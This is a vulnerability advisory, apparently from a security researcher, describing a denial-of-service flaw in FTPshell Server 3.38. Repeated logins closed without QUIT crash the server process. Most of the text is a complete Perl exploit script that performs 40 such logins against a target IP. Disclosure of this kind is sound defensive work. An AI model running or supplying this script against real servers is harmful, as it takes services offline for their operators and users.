Summary:
Denial of service vulnerability in FTPshell Server Version 3.38
(https://www.ftpshell.com/)

Details:
Logging into the FTP server successfully and then closing the
connection (without using the QUIT command) 39 times will cause the
ftpshelld.exe process will die.

Vulnerable Versions:
FTPshell Server Version 3.38

Patches/Workarounds:
The vendor was notified of the issue. A patch will be release shorly.
The patch will be made available via the vendor's web site
(https://www.ftpshell.com/).

Exploits:
Run the following PERL script against the server. The corresponding
process will die.

#===== Start FTPShell_FTPDOS.pl =====
#
# Usage: FTPShell_FTPDOS.pl <ip> <user> <pass>
#        FTPShell_FTPDOS.pl 127.0.0.1 hello moto
#
# FTPshell Server Version 3.38
#
# Download:
# https://www.ftpshell.com/
#
################################################

use IO::Socket;
use Win32;
use strict;

my($i)      = "";
my($socket) = "";

for ($i = 1; $i <= 40; $i++)
{
        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                print "Login \#$i\n";

                Win32::Sleep(300);

                print $socket "USER $ARGV[1]\r\n";

                Win32::Sleep(100);

                print $socket "PASS $ARGV[2]\r\n";

                Win32::Sleep(100);

                print $socket "PORT 127,0,0,1,18,12\r\n";

                Win32::Sleep(100);

                close($socket);
        }
        else
        {
                print "Cannot connect to $ARGV[0]:21\n";
        }
}
#===== Start FTPShell_FTPDOS.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(https://reedarvin.thearvins.com/)

Vulnerability discovered using PeachFuzz
(https://reedarvin.thearvins.com/tools.html)